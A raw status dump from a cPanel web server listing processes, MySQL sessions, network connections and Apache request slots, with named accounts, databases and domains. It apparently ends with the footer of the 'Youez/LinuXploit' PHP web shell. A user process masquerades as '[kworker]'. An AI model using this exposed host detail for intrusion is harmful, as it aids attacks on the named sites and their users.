root      61028  0.0  0.0  20164   804 ?        Ss   02:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      60996  0.0  0.0 183048  2152 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
root      61019  0.0  0.0  20164   968 ?        Ss   02:27   0:00  |   \_ jailshell (pactpay) [61045] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   61045  0.0  0.0  20164   256 ?        S    02:27   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   61046  0.0  0.7 480124 17688 ?        S    02:27   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      60998  0.0  0.0 183048  2148 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
root      61018  0.0  0.0  20164   972 ?        Ss   02:27   0:00      \_ jailshell (nigeria) [61027] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   61027  0.0  0.0  20164   260 ?        S    02:27   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   61044  0.0  0.6 404052 16136 ?        S    02:27   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        546  0.0  0.0  24208   260 ?        Ss   Nov16   0:00 /usr/sbin/atd -f
root        555  0.0  0.0 114704   212 ttyS0    Ss+  Nov16   0:00 /bin/bash
root        556  0.0  0.0 108296   212 tty1     Ss+  Nov16   0:00 /sbin/agetty --noclear tty1 linux
mailnull    625  0.0  0.1  89120  4100 ?        Ss   Nov16   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  60960  0.0  0.2  89496  5428 ?        S    02:26   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root        911  0.0  0.0 111304   584 ?        Ss   Nov16   0:01 /usr/sbin/sshd -D
root      60929  0.0  0.1 111304  4272 ?        Ss   02:26   0:00  \_ sshd: [accepted]
root      60957  0.0  0.1 111304  4264 ?        Ss   02:26   0:00  \_ sshd: [accepted]
root      60958  0.0  0.2 157100  5076 ?        Ss   02:26   0:00  \_ sshd: unknown [priv]
sshd      60959  0.0  0.1 115644  2632 ?        S    02:26   0:00      \_ sshd: unknown [net]
systuser    912  0.0  0.0 113016    80 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root        917  0.0  0.1 249168  4328 ?        Ssl  Nov16   0:03 /usr/sbin/rsyslogd -n
named       918  0.0  1.5 989256 38292 ?        Ssl  Nov16   0:06 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        919  0.1 11.4 1763124 277376 ?      Ssl  Nov16   0:14 /usr/local/cpanel/3rdparty/bin/clamd -F
systuser    924  0.0  0.0  10388    36 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        925  0.0  0.0  51508   672 ?        Ss   Nov16   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1080  0.0  0.1  46912  2588 ?        S    Nov16   0:00  \_ dovecot/pop3-login
dovenull   1081  0.0  0.1  47340  3184 ?        S    Nov16   0:00  \_ dovecot/imap-login
dovecot    1082  0.0  0.0  10320   388 ?        S    Nov16   0:00  \_ dovecot/anvil
root       1083  0.0  0.0  10452   568 ?        S    Nov16   0:00  \_ dovecot/log
dovenull   1084  0.0  0.1  46984  2496 ?        S    Nov16   0:00  \_ dovecot/pop3-login
dovenull   1085  0.0  0.1  47308  3096 ?        S    Nov16   0:00  \_ dovecot/imap-login
root       1091  0.0  0.1  24528  2500 ?        S    Nov16   0:00  \_ dovecot/config
dovecot    1095  0.0  0.0  13568   660 ?        S    Nov16   0:00  \_ dovecot/stats
dovecot    1160  0.0  0.0  41160  1588 ?        S    Nov16   0:00  \_ dovecot/auth
root      60450  0.0  0.1  41052  2724 ?        S    02:26   0:00  \_ dovecot/auth -w
root        926  0.0  0.0 572372  1176 ?        Ssl  Nov16   0:01 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root        928  0.0  0.1 445028  3388 ?        Ss   Nov16   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
wp-tool+  60981  0.0  0.0 445028   312 ?        S    02:27   0:00  \_ sw-engine-fpm: pool wordpress-toolkit
root        937  0.0  0.4 439788 11508 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
systuser    938  0.0  0.5 114016 14232 ?        Ssl  Nov16   0:02 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        939  0.0  0.3 261296  7612 ?        Ss   Nov16   0:02 cpsrvd (SSL) - waiting for connections                   
root      60967  0.0  0.0      0     0 ?        Z    02:26   0:00  \_ [cpaneld - servi] <defunct>
root        943  0.1  0.4 1277312 10588 ?       Ssl  Nov16   0:20 /usr/bin/checkstatus
root        944  0.2  0.3 1276356 8028 ?        Ssl  Nov16   0:24 /usr/bin/cspdaemon
cpanelc+    947  0.0  0.1  10308  3544 ?        Ss   Nov16   0:09 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        952  0.0  0.0 396248   740 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        957  0.0  0.0 388892   772 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
systuser    962  0.0  0.0  14068    48 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
telegraf    963  0.0  1.4 5654048 35920 ?       SLsl Nov16   0:06 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
root        964  0.0  0.0 153404   468 ?        Ss   Nov16   0:00 pure-ftpd (SERVER)
root        967  0.0  0.0 400740  1016 ?        Ss   Nov16   0:01 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
nigeria   60969  0.0  0.1 400460  4420 ?        S    02:26   0:00  \_ php-fpm: pool nigeriadecide_org
systuser    968  0.0  0.0 112524    72 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
memcach+    969  0.0  0.0 342400   192 ?        Ssl  Nov16   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        974  0.0  0.0 389508   816 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root       1123  0.0  4.9 248032 119020 ?       Ss   Nov16   0:04 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       8393  0.0  5.3 264952 129144 ?       S    Nov16   0:01  \_ spamd child
root       8394  0.0  4.8 248032 117032 ?       S    Nov16   0:00  \_ spamd child
systuser   1168  0.0  0.1 157704  3068 ?        S    Nov16   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1176  0.0  0.2 387556  5072 ?        Ss   Nov16   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1177  0.0  1.3 412368 32508 ?        Ss   Nov16   0:03 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1211  0.0  0.5 209168 12136 ?        Ss   Nov16   0:01 tailwatchd
root       1213  0.0  1.0 262224 24500 ?        Ss   Nov16   0:00 cpdavd - accepting connections on: 2091, 2077, 2078
root       1216  0.0  0.1 167452  4116 ?        Ss   Nov16   0:00 dnsadmin - dormant mode
root       1627  0.0  0.0 299272   888 ?        Ss   Nov16   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1673  0.0  0.0 130416  1592 ?        SN   Nov16   0:00 cpanellogd - sleeping for logs
root       1928  0.0  0.3 266984  8180 ?        Ss   Nov16   0:01 /usr/sbin/httpd -k start
root       1932  0.0  0.0  12788   520 ?        S    Nov16   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1933  0.0  0.0  12732   480 ?        S    Nov16   0:01  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1934  0.0  0.0  12808   500 ?        S    Nov16   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1939  0.0  0.0  53256   256 ?        S    Nov16   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    47511  0.1  0.8 277680 20364 ?        S    02:09   0:01  \_ /usr/sbin/httpd -k start
nobody    48646  0.1  0.8 277680 20076 ?        S    02:11   0:01  \_ /usr/sbin/httpd -k start
nobody    52247  0.1  0.8 277572 20080 ?        S    02:15   0:00  \_ /usr/sbin/httpd -k start
nobody    52255  0.1  0.8 277656 19748 ?        S    02:15   0:01  \_ /usr/sbin/httpd -k start
nobody    52258  0.1  0.8 277744 20024 ?        S    02:15   0:00  \_ /usr/sbin/httpd -k start
nobody    52503  0.1  0.8 277720 20028 ?        S    02:16   0:00  \_ /usr/sbin/httpd -k start
nobody    53495  0.1  0.8 277740 19560 ?        S    02:17   0:00  \_ /usr/sbin/httpd -k start
nobody    54233  0.1  0.8 277692 19976 ?        S    02:18   0:00  \_ /usr/sbin/httpd -k start
nobody    54829  0.1  0.8 277692 19616 ?        S    02:19   0:00  \_ /usr/sbin/httpd -k start
nobody    54842  0.1  0.8 277484 19672 ?        S    02:19   0:00  \_ /usr/sbin/httpd -k start
nobody    55807  0.1  0.8 277680 19448 ?        S    02:20   0:00  \_ /usr/sbin/httpd -k start
nobody    56342  0.0  0.8 277744 19420 ?        S    02:20   0:00  \_ /usr/sbin/httpd -k start
nobody    56369  0.1  0.8 277744 19460 ?        S    02:20   0:00  \_ /usr/sbin/httpd -k start
nobody    56370  0.1  0.8 277744 19548 ?        S    02:20   0:00  \_ /usr/sbin/httpd -k start
nobody    57634  0.1  0.8 277876 19440 ?        S    02:22   0:00  \_ /usr/sbin/httpd -k start
nobody    58187  0.1  0.8 277740 19500 ?        S    02:23   0:00  \_ /usr/sbin/httpd -k start
nobody    60187  0.1  0.7 277744 18724 ?        S    02:25   0:00  \_ /usr/sbin/httpd -k start
nobody    60336  0.0  0.7 277744 18708 ?        S    02:26   0:00  \_ /usr/sbin/httpd -k start
mysql      2639  1.2 11.2 1461652 271556 ?      Sl   Nov16   2:21 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
oysipao+  40045  0.0  0.0   3148   416 ?        Ss   00:00   0:00 [kworker]
oysipao+  40049  0.0  0.0   3152   424 ?        S    00:00   0:00  \_ [kworker]
root      40218  0.0  1.2 181788 29176 ?        Ss   00:00   0:08 lfd - sleeping
## mysql stats
Uptime: 11248  Threads: 5  Questions: 854504  Slow queries: 0  Opens: 4775  Flush tables: 1  Open tables: 2000  Queries per second avg: 75.969
*************************** 1. row ***************************
     Id: 12694
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 2. row ***************************
     Id: 12696
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 3. row ***************************
     Id: 12702
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 4. row ***************************
     Id: 12707
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 106.8.136.160 TIME_WAIT
      1 106.8.136.64 TIME_WAIT
      1 106.8.139.78 TIME_WAIT
      1 114.119.154.181 TIME_WAIT
      1 116.132.255.181 TIME_WAIT
      1 136.0.50.55 TIME_WAIT
      1 142.44.225.46 TIME_WAIT
      1 15.235.96.105 TIME_WAIT
      1 173.199.190.172 TIME_WAIT
      1 ::1 TIME_WAIT
      1 216.73.216.115 TIME_WAIT
      1 43.135.115.233 TIME_WAIT
      1 51.222.168.222 TIME_WAIT
      1 66.249.70.8 TIME_WAIT
      1 92.50.19.175 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Nov 12 2025 18:18:40
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Monday, 17-Nov-2025 02:27:02 WAT
   Restart Time: Sunday, 16-Nov-2025 23:18:49 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 3 hours 8 minutes 13 seconds
   Server load: 0.10 0.19 0.27
   Total accesses: 64931 - Total Traffic: 1.6 GB - Total Duration: 32624418
   CPU Usage: u8.24 s4.53 cu884.38 cs720.3 - 14.3% CPU load
   5.75 requests/sec - 151.4 kB/second - 26.3 kB/request - 502.447 ms/request
   11 requests currently being processed, 0 workers gracefully restarting, 7 idle workers

KR.KKK_..___K_..K_.WWK.....W_...................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc     M CPU   SS   Req   Dur   Conn  Child  Slot    Client     Protocol         VHost                                      Request
   0-0  60187 4/21/2970  K 0.54 0     300 1536345 128.7 0.60  76.44 192.178.4.96  http/1.1 team.cloudware.ng:443  GET /?l=2044941352 HTTP/1.1
   1-0  56342 0/59/2635  R 1.30 17    21  1372369 0.0   3.96  78.14 66.249.70.7   http/1.1 test.cloudware.ng:443  GET /1269306537?goodscode=1267643726 HTTP/1.1
   2-0  -     0/0/2798   . 0.00 44    0   1378224 0.0   0.00  71.74 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   3-0  56369 3/63/2878  K 1.62 0     261 1432751 92.6  1.72  69.94 192.178.4.98  http/1.1 team.cloudware.ng:443  GET /?l=4110145736 HTTP/1.1
   4-0  53495 1/119/2871 K 3.01 1     269 1302458 33.8  4.45  72.68 192.178.4.105 http/1.1 team.cloudware.ng:443  GET /?l=567839554 HTTP/1.1
   5-0  60336 1/12/2601  K 0.22 3     22  1277632 5.8   0.22  68.48 66.249.70.7   http/1.1 test.cloudware.ng:443  GET /2984366004?goodscode=2980455410 HTTP/1.1
   6-0  52503 0/195/2833 _ 4.82 3     390 1356263 0.0   3.66  71.33 192.178.4.103 http/1.1 team.cloudware.ng:443  GET /?l=2692187950 HTTP/1.1
   7-0  -     0/0/2434   . 0.00 170   0   1274108 0.0   0.00  63.40 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   8-0  -     0/0/2595   . 0.00 144   0   1284851 0.0   0.00  64.04 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   9-0  54233 0/131/2601 _ 3.04 0     0   1280309 0.0   4.07  64.44 ::1           http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   10-0 56370 0/87/2591  _ 2.21 2     1   1309317 0.0   1.99  67.76 127.0.0.1     http/1.1 chs1.nescrow.com.ng:80 GET / HTTP/1.1
   11-0 52247 0/126/2397 _ 3.02 2     1   1253807 0.0   4.00  63.16 127.0.0.1     http/1.1 chs1.nescrow.com.ng:80 GET / HTTP/1.1
   12-0 48646 5/196/2339 K 5.47 1     274 1249265 159.2 4.82  62.31 192.178.4.105 http/1.1 team.cloudware.ng:443  GET /?l=3823287063 HTTP/1.1
   13-0 52255 0/171/2470 _ 4.03 2     8   1314524 0.0   4.39  65.26 52.207.47.227 http/1.1 nigeriadecide.org:443  GET /polling_unit_category.php/2019elections/blog/blog/blog/blo
   14-0 -     0/0/2265   . 0.00 152   0   1166920 0.0   0.00  58.67 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   15-0 -     0/0/2453   . 0.00 95    0   1249987 0.0   0.00  62.79 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   16-0 54829 6/97/2264  K 2.84 1     264 1151320 189.7 3.05  57.73 192.178.4.102 http/1.1 team.cloudware.ng:443  GET /?l=3596860820 HTTP/1.1
   17-0 54842 0/129/2311 _ 3.34 1     342 1181194 0.0   3.40  62.63 192.178.4.97  http/1.1 team.cloudware.ng:443  GET /?l=2571759678 HTTP/1.1
   18-0 -     0/0/1983   . 0.00 108   0   1008828 0.0   0.00  51.72 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   19-0 47511 0/241/1726 W 6.93 0     0   884487  0.0   6.03  48.92 192.178.4.97  http/1.1 team.cloudware.ng:443  GET /?l=1450239482 HTTP/1.1
   20-0 55807 4/100/1867 W 2.21 0     0   929702  131.2 1.57  46.34 192.178.4.101 http/1.1 team.cloudware.ng:443  GET /ctg/search/similarImageSearchResultView/?ctgItemCd=1712181
   21-0 52258 1/148/1802 K 3.67 2     329 953145  207.8 4.12  49.24 192.178.4.98  http/1.1 team.cloudware.ng:443  GET /vendor/swiftmailer/swiftmailer/ HTTP/1.1
   22-0 -     0/0/1305   . 0.00 76    0   660176  0.0   0.00  32.17 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   23-0 -     0/0/1224   . 0.00 172   0   586731  0.0   0.00  29.95 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   24-0 -     0/0/1523   . 0.00 94    0   797856  0.0   0.00  40.09 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   25-0 -     0/0/988    . 0.00 141   0   469877  0.0   0.00  25.03 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   26-0 -     0/0/869    . 0.00 194   0   341801  0.0   0.00  16.88 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   27-0 57634 0/61/671   W 2.02 0     0   328235  0.0   1.83  16.57 ::1           http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   28-0 58187 0/70/670   _ 1.65 1     342 338495  0.0   1.75  16.34 192.178.4.104 http/1.1 team.cloudware.ng:443  GET /?l=506644245 HTTP/1.1
   29-0 -     0/0/117    . 0.00 2422  0   56902   0.0   0.00  2.50  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   30-0 -     0/0/628    . 0.00 1325  0   285658  0.0   0.00  13.70 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   31-0 -     0/0/500    . 0.00 2486  0   230058  0.0   0.00  10.64 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   32-0 -     0/0/183    . 0.00 2551  0   79523   0.0   0.00  3.91  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   33-0 -     0/0/106    . 0.00 7399  0   46426   0.0   0.00  3.26  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   34-0 -     0/0/292    . 0.00 7392  0   156256  0.0   0.00  7.78  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   35-0 -     0/0/28     . 0.00 7386  0   6362    0.0   0.00  0.28  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   36-0 -     0/0/170    . 0.00 7332  0   85805   0.0   0.00  4.16  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   37-0 -     0/0/11     . 0.00 7396  0   7767    0.0   0.00  0.11  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   38-0 -     0/0/144    . 0.00 7379  0   77733   0.0   0.00  3.62  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   39-0 -     0/0/424    . 0.00 5986  0   220703  0.0   0.00  11.36 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   40-0 -     0/0/88     . 0.00 7266  0   19096   0.0   0.00  1.31  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   41-0 -     0/0/8      . 0.00 7398  0   3054    0.0   0.00  0.05  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   42-0 -     0/0/43     . 0.00 7254  0   22487   0.0   0.00  0.98  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   43-0 -     0/0/114    . 0.00 7397  0   52913   0.0   0.00  2.30  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   44-0 -     0/0/661    . 0.00 5038  0   366544  0.0   0.00  17.77 ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   45-0 -     0/0/42     . 0.00 7402  0   19040   0.0   0.00  0.83  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   46-0 -     0/0/11     . 0.00 7375  0   5124    0.0   0.00  0.16  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   47-0 -     0/0/20     . 0.00 7336  0   7973    0.0   0.00  0.58  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   48-0 -     0/0/83     . 0.00 7086  0   40607   0.0   0.00  1.94  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   49-0 -     0/0/37     . 0.00 7390  0   18588   0.0   0.00  0.72  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   50-0 -     0/0/7      . 0.00 7385  0   3381    0.0   0.00  0.08  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   51-0 -     0/0/9      . 0.00 7359  0   3457    0.0   0.00  0.11  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   52-0 -     0/0/2      . 0.00 10094 0   1702    0.0   0.00  0.01  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   53-0 -     0/0/7      . 0.00 10070 0   2649    0.0   0.00  0.07  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   54-0 -     0/0/2      . 0.00 10093 0   1806    0.0   0.00  0.01  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   55-0 -     0/0/27     . 0.00 10015 0   13156   0.0   0.00  0.55  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   56-0 -     0/0/189    . 0.00 9260  0   98784   0.0   0.00  5.53  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   57-0 -     0/0/44     . 0.00 9955  0   19861   0.0   0.00  0.82  ::1           http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 1135
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 5 seconds, (range: 0...20)
   index usage: 20%, cache usage: 27%
   total entries stored since starting: 48798
   total entries replaced since starting: 0
   total entries expired since starting: 47660
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 6 hit, 115 miss
   total removes since starting: 4 hit, 0 miss
Youez - 2016 - github.com/yon3zu
LinuXploit